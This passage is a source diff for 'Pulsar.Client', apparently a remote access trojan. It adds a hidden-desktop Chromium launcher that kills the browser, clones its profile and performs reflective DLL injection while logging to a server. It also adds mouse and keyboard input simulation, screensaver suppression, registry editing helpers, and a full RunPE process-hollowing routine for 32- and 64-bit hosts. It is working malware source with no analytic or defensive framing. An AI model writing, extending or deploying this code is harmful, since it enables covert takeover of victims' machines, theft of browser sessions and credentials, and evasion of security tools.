timeout, false otherwise + private bool WaitForProcessCompletion(PROCESS_INFORMATION processInfo, uint timeoutMs = 5000) + { + try + { + if (processInfo.hProcess == IntPtr.Zero) + return false; + + uint result = WaitForSingleObject(processInfo.hProcess, timeoutMs); + + CloseHandle(processInfo.hProcess); + CloseHandle(processInfo.hThread); + + return result == WAIT_OBJECT_0; + } + catch (Exception ex) + { + Debug.WriteLine($"Error waiting for process: {ex.Message}"); + return false; + } + } + + public async Task StartGenericChromiumAsync(byte[] dllbytes, string browserPath, string searchPattern, string replacementPath) + { + try + { + if (string.IsNullOrWhiteSpace(browserPath) || !File.Exists(browserPath)) + { + UniversalDebugLogger.SendLogToServer($"Generic Chromium browser executable not found at: {browserPath}"); + return; + } + + if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath)) + { + UniversalDebugLogger.SendLogToServer("Search pattern and replacement path are required for generic Chromium browser."); + return; + } + + UniversalDebugLogger.SendLogToServer($"Starting Generic Chromium Browser: {browserPath}"); + UniversalDebugLogger.SendLogToServer($"Search Pattern: {searchPattern}"); + UniversalDebugLogger.SendLogToServer($"Replacement Path: {replacementPath}"); + + string processName = Path.GetFileNameWithoutExtension(browserPath); + string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F"; + + STARTUPINFO startupInfo = default(STARTUPINFO); + startupInfo.cb = Marshal.SizeOf(startupInfo); + startupInfo.lpDesktop = this.DesktopName; + startupInfo.dwX = 0; + startupInfo.dwY = 0; + startupInfo.dwFlags = STARTF_USEPOSITION; + PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION); + + UniversalDebugLogger.SendLogToServer($"Killing any existing {processName}.exe processes..."); + if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo)) + { + UniversalDebugLogger.SendLogToServer($"Waiting for {processName}.exe processes to terminate..."); + WaitForProcessCompletion(processInfo, 5000); + } + else + { + UniversalDebugLogger.SendLogToServer("Failed to create taskkill process, using fallback delay."); + await Task.Delay(500).ConfigureAwait(false); + } + + string friendlyName = Path.GetFileNameWithoutExtension(browserPath); + if (string.IsNullOrWhiteSpace(friendlyName)) + { + friendlyName = "Chromium"; + } + + var cloneResult = await CloneBrowserProfileAsync(searchPattern, replacementPath, friendlyName).ConfigureAwait(false); + if (cloneResult.Cancelled) + { + UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user – skipping injection."); + return; + } + + try + { + await Task.Run(() => KDOTInjector.Start(dllbytes, browserPath, searchPattern, replacementPath)).ConfigureAwait(false); + UniversalDebugLogger.SendLogToServer($"Generic Chromium browser started successfully with reflective DLL injection."); + } + catch (Exception injectionEx) + { + UniversalDebugLogger.SendLogToServer($"Error during generic Chromium DLL injection: {injectionEx.Message}"); + } + } + catch (OperationCanceledException) + { + UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user."); + } + catch (Exception ex) + { + UniversalDebugLogger.SendLogToServer($"Error starting generic Chromium browser: {ex.Message}"); + } + } + + private string DesktopName; + + private struct STARTUPINFO + { + public int cb; + + public string lpReserved; + + public string lpDesktop; + + public string lpTitle; + + public int dwX; + + public int dwY; + + public int dwXSize; + + public int dwYSize; + + public int dwXCountChars; + + public int dwYCountChars; + + public int dwFillAttribute; + + public int dwFlags; + + public short wShowWindow; + + public short cbReserved2; + + public IntPtr lpReserved2; + + public IntPtr hStdInput; + + public IntPtr hStdOutput; + + public IntPtr hStdError; + } + + internal struct PROCESS_INFORMATION + { + public IntPtr hProcess; + + public IntPtr hThread; + + public int dwProcessId; + + public int dwThreadId; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/JsonHelper.cs b/Pulsar.Client/Helper/JsonHelper.cs new file mode 100644 index 0000000..9462d82 --- /dev/null +++ b/Pulsar.Client/Helper/JsonHelper.cs @@ -0,0 +1,46 @@ +ο»Ώusing System.IO; +using System.Runtime.Serialization.Json; +using System.Text; + +namespace Pulsar.Client.Helper +{ + /// + /// Provides methods to serialize and deserialize JSON. + /// + public static class JsonHelper + { + /// + /// Serializes an object to the respectable JSON string. + /// + public static string Serialize(T o) + { + var s = new DataContractJsonSerializer(typeof(T)); + using (var ms = new MemoryStream()) + { + s.WriteObject(ms, o); + return Encoding.UTF8.GetString(ms.ToArray()); + } + } + + /// + /// Deserializes a JSON string to the specified object. + /// + public static T Deserialize(string json) + { + var s = new DataContractJsonSerializer(typeof(T)); + using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json))) + { + return (T)s.ReadObject(ms); + } + } + + /// + /// Deserializes a JSON stream to the specified object. + /// + public static T Deserialize(Stream stream) + { + var s = new DataContractJsonSerializer(typeof(T)); + return (T)s.ReadObject(stream); + } + } +} diff --git a/Pulsar.Client/Helper/NativeMethodsHelper.cs b/Pulsar.Client/Helper/NativeMethodsHelper.cs new file mode 100644 index 0000000..ab7cad3 --- /dev/null +++ b/Pulsar.Client/Helper/NativeMethodsHelper.cs @@ -0,0 +1,235 @@ +ο»Ώusing Pulsar.Client.Utilities; +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Helper +{ + public static class NativeMethodsHelper + { + private const int INPUT_MOUSE = 0; + private const int INPUT_KEYBOARD = 1; + + private const uint MOUSEEVENTF_LEFTDOWN = 0x0002; + private const uint MOUSEEVENTF_LEFTUP = 0x0004; + private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; + private const uint MOUSEEVENTF_RIGHTUP = 0x0010; + private const uint MOUSEEVENTF_WHEEL = 0x0800; + private const uint KEYEVENTF_KEYDOWN = 0x0000; + private const uint KEYEVENTF_KEYUP = 0x0002; + + public const uint SWP_NOZORDER = 0x0004; + public const uint SWP_NOSIZE = 0x0001; + public const uint SWP_SHOWWINDOW = 0x0040; + [DllImport("user32.dll")] + public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + + [DllImport("user32.dll", SetLastError = true)] + public static extern bool SetWindowPos( + IntPtr hWnd, IntPtr hWndInsertAfter, + int X, int Y, int cx, int cy, uint uFlags); + + public static void SetWindowPosition(IntPtr hWnd, int x, int y, int width, int height) + { + const uint SWP_NOZORDER = 0x0004; + const uint SWP_SHOWWINDOW = 0x0040; + SetWindowPos(hWnd, IntPtr.Zero, x, y, width, height, SWP_NOZORDER | SWP_SHOWWINDOW); + } + + public static uint GetLastInputInfoTickCount() + { + NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO(); + lastInputInfo.cbSize = (uint)Marshal.SizeOf(lastInputInfo); + lastInputInfo.dwTime = 0; + NativeMethods.GetLastInputInfo(ref lastInputInfo); + return lastInputInfo.dwTime; + } + + public static void DoMouseLeftClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + + /// + /// Moves a window to the specified screen bounds. + /// + /// Handle to the window. + /// The bounds of the target screen. + public static void MoveWindowToScreen(IntPtr hWnd, Rectangle bounds) + { + if (hWnd == IntPtr.Zero) + { + throw new ArgumentException("Window handle cannot be null.", nameof(hWnd)); + } + + bool result = NativeMethods.SetWindowPos(hWnd, IntPtr.Zero, bounds.X, bounds.Y, 0, 0, NativeMethodsHelper.SWP_NOZORDER | NativeMethodsHelper.SWP_NOSIZE); + if (!result) + { + throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error(), "Failed to move window to the specified screen."); + } + } + + public static void DoMouseRightClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoMouseMove(Point p) + { + NativeMethods.SetCursorPos(p.X, p.Y); + } + + public static void DoMouseScroll(Point p, bool scrollDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = scrollDown ? -120 : 120, + dwFlags = MOUSEEVENTF_WHEEL, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoKeyPress(byte key, bool keyDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_KEYBOARD, + u = new NativeMethods.InputUnion + { + ki = new NativeMethods.KEYBDINPUT + { + wVk = key, + wScan = 0, + dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + private const int SPI_GETSCREENSAVERRUNNING = 114; + + public static bool IsScreensaverActive() + { + var running = IntPtr.Zero; + + if (!NativeMethods.SystemParametersInfo( + SPI_GETSCREENSAVERRUNNING, + 0, + ref running, + 0)) + { + // Something went wrong (Marshal.GetLastWin32Error) + } + + return running != IntPtr.Zero; + } + + private const uint DESKTOP_WRITEOBJECTS = 0x0080; + private const uint DESKTOP_READOBJECTS = 0x0001; + private const int WM_CLOSE = 16; + private const uint SPI_SETSCREENSAVEACTIVE = 0x0011; + private const uint SPIF_SENDWININICHANGE = 0x0002; + + public static void DisableScreensaver() + { + var handle = NativeMethods.OpenDesktop("Screen-saver", 0, + false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS); + + if (handle != IntPtr.Zero) + { + NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) => + { + if (NativeMethods.IsWindowVisible(hWnd)) + NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + + // Continue enumeration even if it fails + return true; + }, + IntPtr.Zero); + NativeMethods.CloseDesktop(handle); + } + else + { + NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + } + + // We need to restart the counter for next screensaver according to + // https://support.microsoft.com/en-us/kb/140723 + // (this may not be needed since we simulate mouse click afterwards) + + var dummy = IntPtr.Zero; + + // Doesn't really matter if this fails + NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* true */, ref dummy, SPIF_SENDWININICHANGE); + + } + + public static string GetForegroundWindowTitle() + { + StringBuilder sbTitle = new StringBuilder(1024); + + NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity); + + return sbTitle.ToString(); + } + } +} diff --git a/Pulsar.Client/Helper/RegistryKeyHelper.cs b/Pulsar.Client/Helper/RegistryKeyHelper.cs new file mode 100644 index 0000000..35b693f --- /dev/null +++ b/Pulsar.Client/Helper/RegistryKeyHelper.cs @@ -0,0 +1,158 @@ +ο»Ώusing Microsoft.Win32; +using Pulsar.Client.Extensions; +using Pulsar.Common.Models; +using Pulsar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Pulsar.Client.Helper +{ + public static class RegistryKeyHelper + { + private static string DEFAULT_VALUE = String.Empty; + + /// + /// Adds a value to the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value. + /// The value. + /// If set to True, adds quotes to the value. + /// True on success, else False. + public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (key == null) return false; + + if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\"")) + value = "\"" + value + "\""; + + key.SetValue(name, value); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Opens a read-only registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// + public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path) + { + try + { + return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false); + } + catch + { + return null; + } + } + + /// + /// Deletes the specified value from the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value to delete. + /// True on success, else False. + public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (key == null) return false; + key.DeleteValue(name, true); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Checks if the provided value is the default value + /// + /// The name of the value + /// True if default value, else False + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + /// + /// Adds the default value to the list of values and returns them as an array. + /// If default value already exists this function will only return the list as an array. + /// + /// The list with the values for which the default value should be added to + /// Array with all of the values including the default value + public static RegValueData[] AddDefaultValue(List values) + { + if (!values.Any(value => IsDefaultValue(value.Name))) + { + values.Add(GetDefaultValue()); + } + return values.ToArray(); + } + + /// + /// Gets the default registry values + /// + /// A array with the default registry values + public static RegValueData[] GetDefaultValues() + { + return new[] { GetDefaultValue() }; + } + + public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null) + { + var newRegValue = new RegValueData { Name = name, Kind = kind }; + + if (value == null) + newRegValue.Data = new byte[] { }; + else + { + switch (newRegValue.Kind) + { + case RegistryValueKind.Binary: + newRegValue.Data = (byte[])value; + break; + case RegistryValueKind.MultiString: + newRegValue.Data = ByteConverter.GetBytes((string[])value); + break; + case RegistryValueKind.DWord: + newRegValue.Data = ByteConverter.GetBytes((uint)(int)value); + break; + case RegistryValueKind.QWord: + newRegValue.Data = ByteConverter.GetBytes((ulong)(long)value); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + newRegValue.Data = ByteConverter.GetBytes((string)value); + break; + } + } + + return newRegValue; + } + + private static RegValueData GetDefaultValue() + { + return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String); + } + } +} diff --git a/Pulsar.Client/Helper/RunPE.cs b/Pulsar.Client/Helper/RunPE.cs new file mode 100644 index 0000000..27ad2dd --- /dev/null +++ b/Pulsar.Client/Helper/RunPE.cs @@ -0,0 +1,520 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.Helper +{ + //Ai lowkey had to help with the 64 vs 32 bit shit I was lost. + public static class RunPE + { + private const uint CONTEXT_FULL = 0x10001F; + private const uint CONTEXT_INTEGER = 0x10002; + + [DllImport("kernel32.dll")] + public static extern uint ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool CreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, + bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("ntdll.dll", SetLastError = true)] + static extern int ZwUnmapViewOfSection(IntPtr hProcess, IntPtr pBaseAddress); + + // For 32-bit compatibility + [DllImport("kernel32.dll", SetLastError = true)] + static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead); + + [DllImport("ntdll.dll", SetLastError = true)] + static extern int ZwUnmapViewOfSection(IntPtr process, int baseAddress); + + #region Structures + [StructLayout(LayoutKind.Sequential, Pack = 0x1)] + private struct ProcessInformation + { + public IntPtr ProcessHandle; + public IntPtr ThreadHandle; + public uint ProcessId; + public uint ThreadId; + } + + [StructLayout(LayoutKind.Sequential, Pack = 0x1)] + private struct StartupInformation + { + public uint Size; + private readonly string Reserved1; + private readonly string Desktop; + private readonly string Title; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x24)] private readonly byte[] Misc; + private readonly IntPtr Reserved2; + private readonly IntPtr StdInput; + private readonly IntPtr StdOutput; + private readonly IntPtr StdError; + } + + [StructLayout(LayoutKind.Sequential)] + public struct M128A + { + public ulong High; + public long Low; + } + + [StructLayout(LayoutKind.Sequential, Pack = 16)] + public struct XSAVE_FORMAT64 + { + public ushort ControlWord; + public ushort StatusWord; + public byte TagWord; + public byte Reserved1; + public ushort ErrorOpcode; + public uint ErrorOffset; + public ushort ErrorSelector; + public ushort Reserved2; + public uint DataOffset; + public ushort DataSelector; + public ushort Reserved3; + public uint MxCsr; + public uint MxCsr_Mask; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public M128A[] FloatRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public M128A[] XmmRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] + public byte[] Reserved4; + } + + [StructLayout(LayoutKind.Sequential, Pack = 16)] + public struct CONTEXT64 + { + public ulong P1Home; + public ulong P2Home; + public ulong P3Home; + public ulong P4Home; + public ulong P5Home; + public ulong P6Home; + + public uint ContextFlags; + public uint MxCsr; + + public ushort SegCs; + public ushort SegDs; + public ushort SegEs; + public ushort SegFs; + public ushort SegGs; + public ushort SegSs; + public uint EFlags; + + public ulong Dr0; + public ulong Dr1; + public ulong Dr2; + public ulong Dr3; + public ulong Dr6; + public ulong Dr7; + + public ulong Rax; + public ulong Rcx; + public ulong Rdx; + public ulong Rbx; + public ulong Rsp; + public ulong Rbp; + public ulong Rsi; + public ulong Rdi; + public ulong R8; + public ulong R9; + public ulong R10; + public ulong R11; + public ulong R12; + public ulong R13; + public ulong R14; + public ulong R15; + + public ulong Rip; + + public XSAVE_FORMAT64 FltSave; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] + public M128A[] VectorRegister; + public ulong VectorControl; + + public ulong DebugControl; + public ulong LastBranchToRip; + public ulong LastBranchFromRip; + public ulong LastExceptionToRip; + public ulong LastExceptionFromRip; + } + #endregion + + public static bool Execute(string hostPath, byte[] payload) + { + ProcessInformation pi = new ProcessInformation(); + + try + { + Debug.WriteLine($"[RunPE] Starting execution with host: {hostPath}"); + Debug.WriteLine($"[RunPE] Payload size: {payload.Length} bytes"); + + // Validate PE signature + if (payload.Length < 0x40 || payload[0] != 'M' || payload[1] != 'Z') + { + Debug.WriteLine("[RunPE] Invalid PE file - missing MZ signature"); + return false; + } + + StartupInformation si = new StartupInformation(); + si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation))); + + // CREATE_SUSPENDED | CREATE_NO_WINDOW + Debug.WriteLine("[RunPE] Creating suspended process..."); + if (!CreateProcessA(hostPath, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref si, ref pi)) + { + int error = Marshal.GetLastWin32Error(); + Debug.WriteLine($"[RunPE] CreateProcessA failed with error: {error}"); + return false; + } + + Debug.WriteLine($"[RunPE] Process created successfully. PID: {pi.ProcessId}"); + + try + { + // Determine if target process is WOW64 (32-bit on 64-bit OS) + bool isTargetWow64 = false; + if (Environment.Is64BitOperatingSystem) + { + IsWow64Process(pi.ProcessHandle, out isTargetWow64); + } + Debug.WriteLine($"[RunPE] Target process is {(isTargetWow64 ? "32-bit (WOW64)" : "64-bit")}"); + + // Check payload architecture + int fileAddress = BitConverter.ToInt32(payload, 0x3C); + ushort machine = BitConverter.ToUInt16(payload, fileAddress + 4); + bool isPayload64Bit = (machine == 0x8664); + Debug.WriteLine($"[RunPE] Payload architecture: {(isPayload64Bit ? "x64" : "x86")} (Machine: 0x{machine:X})"); + + // Validate architecture compatibility + if (isPayload64Bit && isTargetWow64) + { + Debug.WriteLine("[RunPE] ERROR: Cannot inject 64-bit payload into 32-bit host!"); + return false; + } + + if (!isPayload64Bit && !isTargetWow64) + { + Debug.WriteLine("[RunPE] ERROR: Cannot inject 32-bit payload into 64-bit host!"); + return false; + } + + bool success; + if (isTargetWow64) + { + success = Execute32Bit(pi, payload, fileAddress); + } + else + { + success = Execute64Bit(pi, payload, fileAddress); + } + + if (success) + { + Debug.WriteLine("[RunPE] Resuming thread..."); + ResumeThread(pi.ThreadHandle); + Debug.WriteLine("[RunPE] Execution successful!"); + } + + return success; + } + catch (Exception ex) + { + Debug.WriteLine($"[RunPE] Exception during injection: {ex.Message}"); + if (pi.ProcessHandle != IntPtr.Zero) + TerminateProcess(pi.ProcessHandle, 1); + return false; + } + finally + { + if (pi.ProcessHandle != IntPtr.Zero) + CloseHandle(pi.ProcessHandle); + if (pi.ThreadHandle != IntPtr.Zero) + CloseHandle(pi.ThreadHandle); + } + } + catch (Exception ex) + { + Debug.WriteLine($"[RunPE] Outer exception: {ex.Message}"); + if (pi.ProcessHandle != IntPtr.Zero) + { + TerminateProcess(pi.ProcessHandle, 1); + CloseHandle(pi.ProcessHandle); + } + if (pi.ThreadHandle != IntPtr.Zero) + CloseHandle(pi.ThreadHandle); + return false; + } + } + + private static bool Execute32Bit(ProcessInformation pi, byte[] payload, int fileAddress) + { + Debug.WriteLine("[RunPE] Using 32-bit injection method..."); + + int[] context = new int[0xB3]; + context[0] = (int)CONTEXT_INTEGER; + + if (!Wow64GetThreadContext(pi.ThreadHandle, context)) + { + Debug.WriteLine($"[RunPE] Wow64GetThreadContext failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + int ebx = context[0x29]; + Debug.WriteLine($"[RunPE] EBX: 0x{ebx:X}"); + + int readWrite = 0; + int baseAddress = 0; + if (!ReadProcessMemory(pi.ProcessHandle, ebx + 0x8, ref baseAddress, 0x4, ref readWrite)) + { + Debug.WriteLine($"[RunPE] ReadProcessMemory failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + int imageBase = BitConverter.ToInt32(payload, fileAddress + 0x34); + Debug.WriteLine($"[RunPE] Original base: 0x{baseAddress:X}, Target base: 0x{imageBase:X}"); + + if (imageBase == baseAddress) + { + if (ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0) + { + Debug.WriteLine("[RunPE] ZwUnmapViewOfSection failed"); + return false; + } + } + + int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50); + int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54); + + int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 0x3000, 0x40); + if (newImageBase == 0) + { + Debug.WriteLine($"[RunPE] VirtualAllocEx failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + Debug.WriteLine($"[RunPE] Allocated at: 0x{newImageBase:X}"); + + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite)) + { + Debug.WriteLine("[RunPE] Failed to write headers"); + return false; + } + + short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6); + int sectionOffset = fileAddress + 0xF8; + + for (int i = 0; i < numberOfSections; i++) + { + int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC); + int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10); + int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14); + + Debug.WriteLine($"[RunPE] Section {i}: VA=0x{virtualAddress:X}, RawSize=0x{sizeOfRawData:X}, RawPtr=0x{pointerToRawData:X}"); + + if (sizeOfRawData > 0 && pointerToRawData > 0) + { + // Bounds check + if (pointerToRawData + sizeOfRawData > payload.Length) + { + Debug.WriteLine($"[RunPE] Warning: Section {i} data exceeds payload bounds, adjusting size"); + sizeOfRawData = payload.Length - pointerToRawData; + if (sizeOfRawData <= 0) + { + Debug.WriteLine($"[RunPE] Skipping section {i} - invalid data"); + sectionOffset += 0x28; + continue; + } + } + + byte[] sectionData = new byte[sizeOfRawData]; + Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sizeOfRawData); + + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) + { + Debug.WriteLine($"[RunPE] Failed to write section {i}"); + return false; + } + Debug.WriteLine($"[RunPE] Section {i} written successfully"); + } + sectionOffset += 0x28; + } + + byte[] pointerData = BitConverter.GetBytes(newImageBase); + if (!WriteProcessMemory(pi.ProcessHandle, ebx + 0x8, pointerData, 0x4, ref readWrite)) + { + Debug.WriteLine("[RunPE] Failed to update PEB"); + return false; + } + + int entryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28); + context[0x2C] = newImageBase + entryPoint; + Debug.WriteLine($"[RunPE] Entry point: 0x{context[0x2C]:X}"); + + if (!Wow64SetThreadContext(pi.ThreadHandle, context)) + { + Debug.WriteLine($"[RunPE] Wow64SetThreadContext failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + return true; + } + + private static bool Execute64Bit(ProcessInformation pi, byte[] payload, int fileAddress) + { + Debug.WriteLine("[RunPE] Using 64-bit injection method..."); + + CONTEXT64 context = new CONTEXT64(); + context.ContextFlags = CONTEXT_FULL; + + if (!GetThreadContext(pi.ThreadHandle, ref context)) + { + Debug.WriteLine($"[RunPE] GetThreadContext failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + Debug.WriteLine($"[RunPE] RDX: 0x{context.Rdx:X}"); + + byte[] pebBuffer = new byte[8]; + int bytesRead = 0; + if (!ReadProcessMemory(pi.ProcessHandle, (IntPtr)((long)context.Rdx + 16), pebBuffer, 8, out bytesRead)) + { + Debug.WriteLine($"[RunPE] ReadProcessMemory failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + long originalBase = BitConverter.ToInt64(pebBuffer, 0); + long imageBase = BitConverter.ToInt64(payload, fileAddress + 0x30); + Debug.WriteLine($"[RunPE] Original base: 0x{originalBase:X}, Target base: 0x{imageBase:X}"); + + if (originalBase == imageBase) + { + if (ZwUnmapViewOfSection(pi.ProcessHandle, (IntPtr)originalBase) != 0) + { + Debug.WriteLine("[RunPE] ZwUnmapViewOfSection failed"); + return false; + } + } + + int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50); + int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54); + + IntPtr newImageBase = VirtualAllocEx(pi.ProcessHandle, (IntPtr)imageBase, (uint)sizeOfImage, 0x3000, 0x40); + if (newImageBase == IntPtr.Zero) + { + Debug.WriteLine($"[RunPE] VirtualAllocEx failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + Debug.WriteLine($"[RunPE] Allocated at: 0x{newImageBase.ToInt64():X}"); + + int bytesWritten = 0; + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, out bytesWritten)) + { + Debug.WriteLine("[RunPE] Failed to write headers"); + return false; + } + + short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6); + // PE32+ has a larger optional header (0x108 vs 0xF8 for PE32) + int sectionOffset = fileAddress + 0x108; + + for (int i = 0; i < numberOfSections; i++) + { + int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC); + int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10); + int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14); + + Debug.WriteLine($"[RunPE] Section {i}: VA=0x{virtualAddress:X}, RawSize=0x{sizeOfRawData:X}, RawPtr=0x{pointerToRawData:X}"); + + if (sizeOfRawData > 0 && pointerToRawData > 0) + { + // Bounds check + if (pointerToRawData + sizeOfRawData > payload.Length) + { + Debug.WriteLine($"[RunPE] Warning: Section 